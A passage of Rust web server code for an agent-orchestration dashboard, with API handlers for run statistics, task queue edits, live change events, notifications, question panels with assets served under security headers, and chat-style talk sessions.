4498 rounds: usize,
4499 failures: usize,
4500 sole_detections: usize,
4501 deferred: usize,
4502 sole_rate: Option<RateView>,
4503}
4504
4505impl From<&stats::E2eStats> for E2eStatsView {
4506 fn from(e: &stats::E2eStats) -> Self {
4507 Self {
4508 rounds: e.rounds,
4509 failures: e.failures,
4510 sole_detections: e.sole_detections,
4511 deferred: e.deferred,
4512 sole_rate: RateView::of(e.sole_detections, e.failures),
4513 }
4514 }
4515}
4516
4517#[derive(Debug, Serialize)]
4525struct ReleaseBumpStatsView {
4526 merged: usize,
4527 recorded: usize,
4528 pr_opened: usize,
4529 automerge_enabled: usize,
4530 merged_directly: usize,
4531 needs_attention: usize,
4532 clean: usize,
4533 coverage_rate: Option<RateView>,
4534 automerge_rate: Option<RateView>,
4535 attention_rate: Option<RateView>,
4536}
4537
4538impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
4539 fn from(b: &stats::ReleaseBumpStats) -> Self {
4540 Self {
4541 merged: b.merged,
4542 recorded: b.recorded,
4543 pr_opened: b.pr_opened,
4544 automerge_enabled: b.automerge_enabled,
4545 merged_directly: b.merged_directly,
4546 needs_attention: b.needs_attention,
4547 clean: b.clean(),
4548 coverage_rate: RateView::of(b.recorded, b.merged),
4549 automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
4550 attention_rate: RateView::of(b.needs_attention, b.recorded),
4551 }
4552 }
4553}
4554
4555#[derive(Debug, Serialize)]
4557struct TaskCountsView {
4558 queued: usize,
4559 running: usize,
4560 done: usize,
4561 failed: usize,
4562 held: usize,
4563 blocked: usize,
4564}
4565
4566impl From<crate::queue::TaskCounts> for TaskCountsView {
4567 fn from(c: crate::queue::TaskCounts) -> Self {
4568 Self {
4569 queued: c.queued,
4570 running: c.running,
4571 done: c.done,
4572 failed: c.failed,
4573 held: c.held,
4574 blocked: c.blocked,
4575 }
4576 }
4577}
4578
4579#[derive(Debug, Serialize)]
4585struct RepoSummaryView {
4586 repo: String,
4589 name: String,
4591 runs: usize,
4592 completion_rate: Option<RateView>,
4593}
4594
4595impl From<&stats::RepoStats> for RepoSummaryView {
4596 fn from(r: &stats::RepoStats) -> Self {
4597 let t = &r.stats.totals;
4598 Self {
4599 repo: r.repo.to_string_lossy().into_owned(),
4600 name: r.name.clone(),
4601 runs: t.runs,
4602 completion_rate: RateView::of(t.merged + t.ready, t.runs),
4603 }
4604 }
4605}
4606
4607#[derive(Debug, Serialize)]
4613struct StatsView {
4614 totals: StatsTotalsView,
4615 agents: Vec<AgentStatsView>,
4617 reviewers: Vec<ReviewerStatsView>,
4619 advisors: Vec<AdvisorStatsView>,
4621 e2e: E2eStatsView,
4622 release_bumps: ReleaseBumpStatsView,
4623 queue: TaskCountsView,
4624 runs_unreadable: usize,
4634 repos: Vec<RepoSummaryView>,
4638 repo: Option<String>,
4642}
4643
4644#[derive(Debug, Default, Deserialize)]
4653#[serde(default)]
4654struct StatsQuery {
4655 repo: Option<String>,
4656}
4657
4658async fn stats_get(
4665 State(ui): State<Arc<Ui>>,
4666 Query(q): Query<StatsQuery>,
4667) -> ApiResult<Json<StatsView>> {
4668 blocking(move || {
4669 let states: Vec<RunState> = run_ids(&ui.runs)
4670 .into_iter()
4671 .filter_map(|id| read_run(&ui.runs, &id).ok())
4672 .collect();
4673 let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
4674 .iter()
4675 .map(RepoSummaryView::from)
4676 .collect();
4677 let collected = match &q.repo {
4678 Some(repo) => {
4679 let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
4680 if filtered.is_empty() {
4681 return Err(ApiError::not_found(format!(
4682 "no runs recorded against repo `{repo}`"
4683 )));
4684 }
4685 stats::collect_refs(filtered)
4686 }
4687 None => stats::collect(&states),
4688 };
4689 let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
4690 Ok(Json(StatsView {
4691 totals: StatsTotalsView::from(&collected.totals),
4692 agents: collected.agents.iter().map(AgentStatsView::from).collect(),
4693 reviewers: collected
4694 .reviewers
4695 .iter()
4696 .map(ReviewerStatsView::from)
4697 .collect(),
4698 advisors: collected
4699 .advisors
4700 .iter()
4701 .map(AdvisorStatsView::from)
4702 .collect(),
4703 e2e: E2eStatsView::from(&collected.e2e),
4704 release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
4705 queue: TaskCountsView::from(queue_counts),
4706 runs_unreadable: runs_unreadable(&ui.runs),
4707 repos,
4708 repo: q.repo.clone(),
4709 }))
4710 })
4711 .await
4712}
4713
4714#[derive(Debug, Default, Deserialize)]
4717#[serde(default, deny_unknown_fields)]
4718struct HoldBody {
4719 reason: Option<String>,
4720}
4721
4722async fn queue_hold(
4723 State(ui): State<Arc<Ui>>,
4724 Path(id): Path<String>,
4725 body: std::result::Result<Json<HoldBody>, JsonRejection>,
4726) -> ApiResult<Json<TaskView>> {
4727 let body = match body {
4731 Ok(Json(body)) => body,
4732 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
4733 Err(e) => return Err(ApiError::bad_request(e.body_text())),
4734 };
4735 let reason = body.reason.filter(|r| !r.trim().is_empty());
4736 mutate(ui, id, move |t| {
4737 t.hold_manual(reason.clone());
4738 Ok(())
4739 })
4740 .await
4741}
4742
4743async fn queue_release(
4744 State(ui): State<Arc<Ui>>,
4745 Path(id): Path<String>,
4746) -> ApiResult<Json<TaskView>> {
4747 mutate(ui, id, |t| {
4748 t.release();
4749 Ok(())
4750 })
4751 .await
4752}
4753
4754#[derive(Debug, Deserialize)]
4756#[serde(deny_unknown_fields)]
4757struct PriorityBody {
4758 priority: i32,
4759}
4760
4761async fn queue_priority(
4767 State(ui): State<Arc<Ui>>,
4768 Path(id): Path<String>,
4769 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
4770) -> ApiResult<Json<TaskView>> {
4771 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4772 mutate(ui, id, move |t| t.set_priority(body.priority)).await
4773}
4774
4775#[derive(Debug, Deserialize)]
4777#[serde(deny_unknown_fields)]
4778struct EditBody {
4779 title: String,
4780 instruction: String,
4781 #[serde(default)]
4784 force: bool,
4785}
4786
4787async fn queue_edit(
4791 State(ui): State<Arc<Ui>>,
4792 Path(id): Path<String>,
4793 body: std::result::Result<Json<EditBody>, JsonRejection>,
4794) -> ApiResult<Json<TaskView>> {
4795 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4796 let mut judged: Option<(String, PathBuf)> = None;
4800 if !body.force {
4801 let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
4802 let (id, text) = (id.clone(), body.instruction.clone());
4803 let (seen, hits) = blocking(move || {
4804 let id = resolve_task(&queue, &id)?;
4805 let t = queue.get(&id)?;
4806 if text == t.instruction {
4807 return Ok((None, Vec::new()));
4808 }
4809 let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
4810 Ok((Some((t.instruction, t.repo)), hits))
4811 })
4812 .await?;
4813 if let Some((_, repo)) = &seen {
4814 let cfg = crate::config::Config::discover(repo, None)
4815 .ok()
4816 .map(|(c, _)| c);
4817 crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
4818 .await
4819 .map_err(|dup| {
4820 ApiError::conflict(dup.render(
4821 "Nothing was saved. If it is not a duplicate, repeat the request with \
4822 \"force\": true.",
4823 ))
4824 })?;
4825 }
4826 judged = seen;
4827 }
4828 let force = body.force;
4829 mutate(ui, id, move |t| {
4830 if !force && body.instruction != t.instruction {
4831 match &judged {
4832 Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
4833 _ => {
4834 anyhow::bail!("the task changed while it was being checked; repeat the request")
4835 }
4836 }
4837 }
4838 t.edit(body.title.clone(), body.instruction.clone())
4839 })
4840 .await
4841}
4842
4843async fn queue_done(
4851 State(ui): State<Arc<Ui>>,
4852 Path(id): Path<String>,
4853) -> ApiResult<Json<TaskView>> {
4854 let home = ui.home.clone();
4855 mutate(ui, id, move |t| {
4856 t.succeed();
4857 crate::daemon::supersede_prior_runs(t, &home);
4865 Ok(())
4866 })
4867 .await
4868}
4869
4870async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4878 blocking(move || {
4879 let id = resolve_task(&ui.queue, &id)?;
4880 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
4881 ui.queue
4882 .remove(&id, in_flight, &ui.questions)
4883 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
4884 Ok(StatusCode::NO_CONTENT)
4885 })
4886 .await
4887}
4888
4889async fn mutate(
4898 ui: Arc<Ui>,
4899 id: String,
4900 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
4901) -> ApiResult<Json<TaskView>> {
4902 blocking(move || {
4903 let id = resolve_task(&ui.queue, &id)?;
4904 let _claim = ui.queue.claim(&id).map_err(|e| {
4909 ApiError::conflict(format!(
4910 "{e:#} - a daemon is running this task, so it cannot be \
4911 changed from here yet"
4912 ))
4913 })?;
4914 let mut task = ui.queue.get(&id)?;
4915 change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
4916 Ok(dup) => ApiError::conflict(dup.render(
4917 "Nothing was saved. If it is not a duplicate, repeat the request with \
4918 \"force\": true.",
4919 )),
4920 Err(e) => ApiError::bad_request_from(e),
4921 })?;
4922 ui.queue.put(&mut task)?;
4923 Ok(Json(TaskView::from(task)))
4924 })
4925 .await
4926}
4927
4928async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
4936 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
4937 tokio::spawn(async move {
4938 let mut ticker = tokio::time::interval(POLL);
4939 let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
4940 let mut stamps: Option<[Stamps; 3]> = None;
4941 loop {
4942 ticker.tick().await;
4945 let state = Arc::clone(&ui);
4946 let revisions = tokio::task::spawn_blocking(move || {
4947 let stamps = [
4948 store_stamps(state.queue.root(), false),
4949 store_stamps(&state.runs, true),
4950 store_stamps(state.talks.root(), false),
4951 ];
4952 let revisions = (
4953 stamps_revision(&stamps[0]),
4954 stamps_revision(&stamps[1]),
4955 state.questions.revision(),
4956 stamps_revision(&stamps[2]),
4957 state.notices.revision(),
4958 state.lock_loop().rev,
4962 );
4963 (revisions, stamps)
4964 })
4965 .await;
4966 let Ok((revisions, next_stamps)) = revisions else {
4967 break;
4968 };
4969 if last == Some(revisions) {
4970 continue;
4971 }
4972 let mut payload = serde_json::json!({
4973 "queue_rev": revisions.0,
4974 "runs_rev": revisions.1,
4975 "questions_rev": revisions.2,
4976 "talks_rev": revisions.3,
4977 "notifications_rev": revisions.4,
4978 "loop_rev": revisions.5,
4979 });
4980 if let (Some(base), Some(previous)) = (last, stamps.as_ref()) {
4981 for (index, (key, rev)) in [
4982 ("queue_delta", base.0),
4983 ("runs_delta", base.1),
4984 ("talks_delta", base.3),
4985 ]
4986 .into_iter()
4987 .enumerate()
4988 {
4989 let delta = diff_stamps(&previous[index], &next_stamps[index], rev);
4990 if delta.changed.len() + delta.removed.len() > 0 && delta.changed.len() <= 50 {
4992 payload[key] = serde_json::to_value(delta).expect("serializable delta");
4993 }
4994 }
4995 }
4996 last = Some(revisions);
4997 stamps = Some(next_stamps);
4998 let Ok(event) = Event::default().event("change").json_data(payload) else {
5000 break;
5001 };
5002 if tx.send(event).await.is_err() {
5003 break;
5004 }
5005 }
5006 });
5007 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
5008 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
5009}
5010
5011type Stamps = HashMap<String, (u128, u64)>;
5012
5013fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
5015 std::fs::read_dir(root)
5016 .into_iter()
5017 .flatten()
5018 .flatten()
5019 .filter_map(|entry| {
5020 let path = if runs {
5021 entry.path().join("run.json")
5022 } else {
5023 entry.path()
5024 };
5025 if !runs && path.extension().is_none_or(|ext| ext != "json") {
5026 return None;
5027 }
5028 let metadata = path.metadata().ok()?;
5029 let modified = metadata
5030 .modified()
5031 .ok()?
5032 .duration_since(std::time::UNIX_EPOCH)
5033 .ok()?;
5034 let id = if runs {
5035 entry.file_name().to_string_lossy().into_owned()
5036 } else {
5037 path.file_stem()?.to_string_lossy().into_owned()
5038 };
5039 Some((id, (modified.as_nanos(), metadata.len())))
5040 })
5041 .collect()
5042}
5043
5044#[derive(Debug, Serialize)]
5045struct Delta {
5046 base: u64,
5047 changed: Vec<String>,
5048 removed: Vec<String>,
5049}
5050
5051fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
5052 let mut changed: Vec<_> = next
5053 .iter()
5054 .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
5055 .map(|(id, _)| id.clone())
5056 .collect();
5057 let mut removed: Vec<_> = previous
5058 .keys()
5059 .filter(|id| !next.contains_key(*id))
5060 .cloned()
5061 .collect();
5062 changed.sort_unstable();
5063 removed.sort_unstable();
5064 Delta {
5065 base,
5066 changed,
5067 removed,
5068 }
5069}
5070
5071fn runs_revision(runs: &FsPath) -> u64 {
5078 stamps_revision(&store_stamps(runs, true))
5079}
5080
5081fn stamps_revision(stamps: &Stamps) -> u64 {
5085 use std::hash::{Hash as _, Hasher as _};
5086 if stamps.is_empty() {
5087 return 0;
5088 }
5089 let mut entries: Vec<_> = stamps.iter().collect();
5090 entries.sort_unstable();
5091 let mut hasher = std::hash::DefaultHasher::new();
5092 entries.hash(&mut hasher);
5093 hasher.finish().max(1)
5094}
5095
5096fn run_ids(runs: &FsPath) -> Vec<String> {
5102 let mut ids: Vec<String> = std::fs::read_dir(runs)
5103 .into_iter()
5104 .flatten()
5105 .flatten()
5106 .filter(|e| e.path().join("run.json").is_file())
5107 .map(|e| e.file_name().to_string_lossy().into_owned())
5108 .collect();
5109 ids.sort_unstable_by(|a, b| b.cmp(a));
5111 ids
5112}
5113
5114fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
5116 let path = runs.join(id).join("run.json");
5117 let body =
5118 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
5119 let state: RunState =
5120 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
5121 run::migrate_schema(state)
5126}
5127
5128#[must_use]
5136pub fn runs_unreadable(runs: &FsPath) -> usize {
5137 run_ids(runs)
5138 .into_iter()
5139 .filter(|id| read_run(runs, id).is_err())
5140 .count()
5141}
5142
5143fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
5145 if runs.join(id).join("run.json").is_file() {
5146 return Ok(id.to_owned());
5147 }
5148 pick(run_ids(runs), id, "run")
5149}
5150
5151fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
5153 if queue.path_of(id).is_file() {
5154 return Ok(id.to_owned());
5155 }
5156 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
5157}
5158
5159#[derive(Debug, Serialize)]
5170struct QuestionView {
5171 #[serde(flatten)]
5172 question: Question,
5173 detail_md: Vec<md::Node>,
5174 thread_bodies_md: Vec<Vec<md::Node>>,
5176 waiting_on_agent: bool,
5186 holder: Option<&'static str>,
5190 deputies_enabled: bool,
5194 run_is_task: bool,
5197}
5198
5199impl QuestionView {
5200 fn of(question: Question, store: &ask::Questions, deputies_enabled: bool) -> Self {
5204 let base = md::ImageBase::QuestionPanel {
5205 id: question.id.clone(),
5206 };
5207 let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
5208 Self {
5209 detail_md: md::to_nodes(&question.detail, &base),
5210 thread_bodies_md: question
5211 .thread
5212 .iter()
5213 .map(|t| md::to_nodes(&t.body, &base))
5214 .collect(),
5215 waiting_on_agent: question.waiting_on_agent(),
5216 holder,
5217 deputies_enabled,
5218 run_is_task: question.run_names_task(),
5219 question,
5220 }
5221 }
5222}
5223
5224fn deputy_config(repo: &std::path::Path) -> Option<Config> {
5228 Config::discover(repo, None).ok().map(|(c, _)| c)
5229}
5230
5231fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
5233 crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
5234}
5235
5236fn question_views(
5239 qs: Vec<Question>,
5240 store: &ask::Questions,
5241 load: impl FnOnce() -> Option<Config>,
5242) -> Vec<QuestionView> {
5243 if qs.is_empty() {
5244 return Vec::new();
5245 }
5246 let cfg = load();
5247 qs.into_iter()
5248 .map(|q| {
5249 let on = deputies_enabled(cfg.as_ref(), &q);
5250 QuestionView::of(q, store, on)
5251 })
5252 .collect()
5253}
5254
5255fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
5265 if !q.status.open() {
5266 return None;
5267 }
5268 if q.cwd.is_none() && q.deputy.is_none() {
5269 return crate::deputy::kind_of(q).map(|_| "nobody");
5270 }
5271 Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
5272 Some(_) if q.deputy.is_some() => "deputy",
5273 Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
5274 Some(_) => "asker",
5275 None => "nobody",
5276 })
5277}
5278
5279async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
5285 blocking(move || {
5286 Ok(Json(question_views(
5287 ui.questions.list(),
5288 &ui.questions,
5289 || deputy_config(&ui.repo),
5290 )))
5291 })
5292 .await
5293}
5294
5295async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5298 blocking(move || {
5299 let items = ui.notices.list();
5300 let unread = items.iter().filter(|n| n.unread()).count();
5301 Ok(Json(
5302 serde_json::json!({ "unread": unread, "items": items }),
5303 ))
5304 })
5305 .await
5306}
5307
5308fn notice_error(e: anyhow::Error) -> ApiError {
5309 ApiError::not_found(format!("{e:#}"))
5312}
5313
5314async fn notification_read(
5316 State(ui): State<Arc<Ui>>,
5317 Path(id): Path<String>,
5318) -> ApiResult<Json<Notice>> {
5319 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
5320}
5321
5322async fn notification_dismiss(
5324 State(ui): State<Arc<Ui>>,
5325 Path(id): Path<String>,
5326) -> ApiResult<Json<Notice>> {
5327 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
5328}
5329
5330async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5332 blocking(move || {
5333 let changed = ui.notices.mark_all_read()?;
5334 Ok(Json(serde_json::json!({ "marked": changed })))
5335 })
5336 .await
5337}
5338
5339#[derive(Debug, Default, Deserialize)]
5345#[serde(default, deny_unknown_fields)]
5346struct NewAnswer {
5347 choice: Option<String>,
5348 text: Option<String>,
5349}
5350
5351async fn question_answer(
5352 State(ui): State<Arc<Ui>>,
5353 Path(id): Path<String>,
5354 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
5355) -> ApiResult<Json<QuestionView>> {
5356 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5357 let answer = match (body.choice, body.text) {
5358 (Some(c), None) => Answer::Choice(c),
5359 (None, Some(t)) => Answer::Text(t),
5360 (Some(_), Some(_)) => {
5361 return Err(ApiError::bad_request(
5362 "send either `choice` or `text`, not both",
5363 ));
5364 }
5365 (None, None) => {
5366 return Err(ApiError::bad_request("send a `choice` or a `text`"));
5367 }
5368 };
5369
5370 blocking(move || {
5371 let id = resolve_question(&ui.questions, &id)?;
5372 let q = ui
5373 .questions
5374 .get(&id)
5375 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5376 if !q.status.open() {
5377 return Err(ApiError::conflict(format!(
5381 "question {} is already {}",
5382 q.short(),
5383 q.status.as_str()
5384 )));
5385 }
5386 let (q, ()) = ui
5390 .questions
5391 .update(&q.id, |r| r.answer(answer))
5392 .map_err(ApiError::bad_request_from)?;
5393 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5394 Ok(Json(QuestionView::of(q, &ui.questions, on)))
5395 })
5396 .await
5397}
5398
5399#[derive(Debug, Deserialize)]
5401#[serde(deny_unknown_fields)]
5402struct NewSay {
5403 body: String,
5404}
5405
5406async fn question_say(
5416 State(ui): State<Arc<Ui>>,
5417 Path(id): Path<String>,
5418 body: std::result::Result<Json<NewSay>, JsonRejection>,
5419) -> ApiResult<Json<QuestionView>> {
5420 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5421 blocking(move || {
5422 let id = resolve_question(&ui.questions, &id)?;
5423 let q = ui
5424 .questions
5425 .get(&id)
5426 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5427 if !q.status.open() {
5428 return Err(ApiError::conflict(format!(
5432 "question {} is already {}",
5433 q.short(),
5434 q.status.as_str()
5435 )));
5436 }
5437 let (q, ()) = ui
5440 .questions
5441 .update(&q.id, |r| r.say(body.body))
5442 .map_err(ApiError::bad_request_from)?;
5443 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5444 Ok(Json(QuestionView::of(q, &ui.questions, on)))
5445 })
5446 .await
5447}
5448
5449fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
5451 if store.path_of(id).is_file() {
5452 return Ok(id.to_owned());
5453 }
5454 pick(
5455 store.list().into_iter().map(|q| q.id).collect(),
5456 id,
5457 "question",
5458 )
5459}
5460
5461async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
5476 blocking(move || {
5477 let id = resolve_question(&ui.questions, &id)?;
5478 let Some(html) = ui.questions.panel_html(&id) else {
5479 return Err(ApiError::not_found(format!("question {id} has no panel")));
5480 };
5481 Ok(panel_response(
5482 "text/html; charset=utf-8",
5483 false,
5484 html.into_bytes(),
5485 ))
5486 })
5487 .await
5488}
5489
5490async fn question_asset(
5518 State(ui): State<Arc<Ui>>,
5519 Path((id, name)): Path<(String, String)>,
5520) -> ApiResult<Response> {
5521 if !crate::ask::valid_asset_name(&name) {
5524 return Err(ApiError::bad_request(format!(
5525 "`{name}` is not a usable asset name"
5526 )));
5527 }
5528 blocking(move || {
5529 let id = resolve_question(&ui.questions, &id)?;
5530 let asset = ui
5531 .questions
5532 .panel_asset(&id, &name)
5533 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
5534 let Some(bytes) = asset else {
5535 return Err(ApiError::not_found(format!(
5536 "question {id} has no asset `{name}`"
5537 )));
5538 };
5539 Ok(panel_response(
5540 asset_content_type(&name),
5541 is_svg(&name),
5542 bytes,
5543 ))
5544 })
5545 .await
5546}
5547
5548fn asset_content_type(name: &str) -> &'static str {
5561 match extension(name).as_deref() {
5562 Some("png") => "image/png",
5563 Some("jpg" | "jpeg") => "image/jpeg",
5564 Some("gif") => "image/gif",
5565 Some("webp") => "image/webp",
5566 Some("svg") => "image/svg+xml",
5567 Some("css") => "text/css; charset=utf-8",
5568 Some("txt") => "text/plain; charset=utf-8",
5569 _ => "application/octet-stream",
5570 }
5571}
5572
5573fn is_svg(name: &str) -> bool {
5576 extension(name).as_deref() == Some("svg")
5577}
5578
5579fn extension(name: &str) -> Option<String> {
5581 name.rsplit_once('.')
5582 .map(|(_, ext)| ext.to_ascii_lowercase())
5583}
5584
5585fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
5602 let mut res = (
5603 [
5604 (header::CONTENT_TYPE, content_type),
5605 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
5606 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
5607 (header::REFERRER_POLICY, "no-referrer"),
5608 ],
5609 body,
5610 )
5611 .into_response();
5612 if download {
5613 res.headers_mut().insert(
5614 header::CONTENT_DISPOSITION,
5615 HeaderValue::from_static("attachment"),
5616 );
5617 }
5618 res
5619}
5620
5621#[derive(Debug, Serialize)]
5627struct TalkView {
5628 #[serde(flatten)]
5629 talk: Talk,
5630 turn_bodies_md: Vec<Vec<md::Node>>,
5631 thinking: bool,
5639 context: talk::ContextUsage,
5643}
5644
5645impl TalkView {
5646 fn new(talk: Talk, thinking: bool) -> Self {
5649 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
5650 Self::with_config(talk, thinking, cfg.as_ref())
5651 }
5652
5653 fn with_config(talk: Talk, thinking: bool, cfg: Option<&Config>) -> Self {
5656 let context = talk::context_usage(&talk, cfg);
5657 let turn_bodies_md = talk
5658 .turns
5659 .iter()
5660 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
5661 .collect();
5662 Self {
5663 turn_bodies_md,
5664 thinking,
5665 context,
5666 talk,
5667 }
5668 }
5669}
5670
5671#[derive(Debug, Serialize)]
5676struct TalkDetailView {
5677 #[serde(flatten)]
5678 view: TalkView,
5679 tasks: Vec<TaskView>,
5680 roster: Vec<RosterEntry>,
5683}
5684
5685#[derive(Debug, Serialize)]
5687struct RosterEntry {
5688 id: String,
5689 kind: AgentKind,
5690 runnable: bool,
5692}
5693
5694async fn talks_list(
5699 State(ui): State<Arc<Ui>>,
5700 Query(q): Query<ListQuery>,
5701) -> ApiResult<Json<Vec<TalkView>>> {
5702 blocking(move || {
5703 let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
5704 Ok(Json(
5705 ui.talks
5706 .list()
5707 .into_iter()
5708 .filter(|talk| q.contains(&talk.id))
5709 .map(|talk| {
5710 let thinking = ui.is_thinking(&talk.id);
5711 let cfg = configs
5712 .entry(talk.repo.clone())
5713 .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
5714 TalkView::with_config(talk, thinking, cfg.as_ref())
5715 })
5716 .collect(),
5717 ))
5718 })
5719 .await
5720}
5721
5722#[derive(Debug, Default, Deserialize)]
5727#[serde(default)]
5728struct NewTalk {
5729 agent: Option<String>,
5730 repo: Option<PathBuf>,
5731}
5732
5733async fn talk_post(
5736 State(ui): State<Arc<Ui>>,
5737 body: std::result::Result<Json<NewTalk>, JsonRejection>,
5738) -> ApiResult<impl IntoResponse> {
5739 let body = match body {
5743 Ok(Json(body)) => body,
5744 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
5745 Err(e) => return Err(ApiError::bad_request(e.body_text())),
5746 };
5747 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
5748 let cfg = config_for(&repo).await?;
5749 let view = blocking(move || {
5750 let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
5751 let thinking = ui.is_thinking(&talk.id);
5752 Ok(TalkView::new(talk, thinking))
5753 })
5754 .await?;
5755 Ok((StatusCode::CREATED, Json(view)))
5756}
5757
5758async fn talk_detail(
5760 State(ui): State<Arc<Ui>>,
5761 Path(id): Path<String>,
5762) -> ApiResult<Json<TalkDetailView>> {
5763 blocking(move || {
5764 let id = resolve_talk(&ui.talks, &id)?;
5765 let talk = ui.talks.get(&id)?;
5766 let thinking = ui.is_thinking(&talk.id);
5767 let tasks = talk::tasks_of(&ui.queue, &talk.id)
5768 .into_iter()
5769 .map(TaskView::from)
5770 .collect();
5771 let roster = Config::discover(&talk.repo, None)
5772 .map(|(cfg, _)| {
5773 cfg.agents
5774 .iter()
5775 .map(|a| RosterEntry {
5776 id: a.id.clone(),
5777 kind: a.kind,
5778 runnable: agent::installed(a),
5779 })
5780 .collect()
5781 })
5782 .unwrap_or_default();
5783 Ok(Json(TalkDetailView {
5784 view: TalkView::new(talk, thinking),
5785 tasks,
5786 roster,
5787 }))
5788 })
5789 .await
5790}
5791
5792#[derive(Debug, Default, Deserialize)]
5798#[serde(default, deny_unknown_fields)]
5799struct NewTalkTurn {
5800 text: String,
5801 attachments: Vec<String>,
5802}
5803
5804#[derive(Debug, Deserialize)]
5805#[serde(deny_unknown_fields)]
5806struct EditTalkPending {
5807 text: String,
5808 expected_text: String,
5809 expected_attachments: Vec<String>,
5810}
5811
5812#[derive(Debug, Deserialize)]
5813#[serde(deny_unknown_fields)]
5814struct ClearTalkPending {
5815 expected_text: String,
5816 expected_attachments: Vec<String>,
5817}
5818
5819async fn talk_say(
5831 State(ui): State<Arc<Ui>>,
5832 Path(id): Path<String>,
5833 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
5834) -> ApiResult<(StatusCode, Json<TalkView>)> {
5835 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5836 if body.text.trim().is_empty() && body.attachments.is_empty() {
5837 return Err(ApiError::bad_request("say something"));
5838 }
5839
5840 let id = {
5841 let ui = Arc::clone(&ui);
5842 let asked = id.clone();
5843 blocking(move || resolve_talk(&ui.talks, &asked)).await?
5844 };
5845 {
5849 let ui = Arc::clone(&ui);
5850 let id = id.clone();
5851 blocking(move || {
5852 let talk = ui.talks.get(&id)?;
5853 if !talk.status.open() {
5854 return Err(ApiError::conflict(format!(
5855 "talk {} is {} and takes no more turns",
5856 talk.short(),
5857 talk.status.as_str()
5858 )));
5859 }
5860 Ok(())
5861 })
5862 .await?;
5863 }
5864
5865 let attachments = {
5870 let ui = Arc::clone(&ui);
5871 let id = id.clone();
5872 let ids = body.attachments.clone();
5873 blocking(move || {
5874 ids.into_iter()
5875 .map(|att_id| {
5876 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
5877 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
5878 })
5879 })
5880 .collect::<ApiResult<Vec<talk::Attachment>>>()
5881 })
5882 .await?
5883 };
5884
5885 let start = {
5890 let ui = Arc::clone(&ui);
5891 let id = id.clone();
5892 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
5893 };
5894 let turn_guard = match start {
5895 TalkTurnStart::Claimed(turn_guard) => turn_guard,
5896 TalkTurnStart::Pending => {
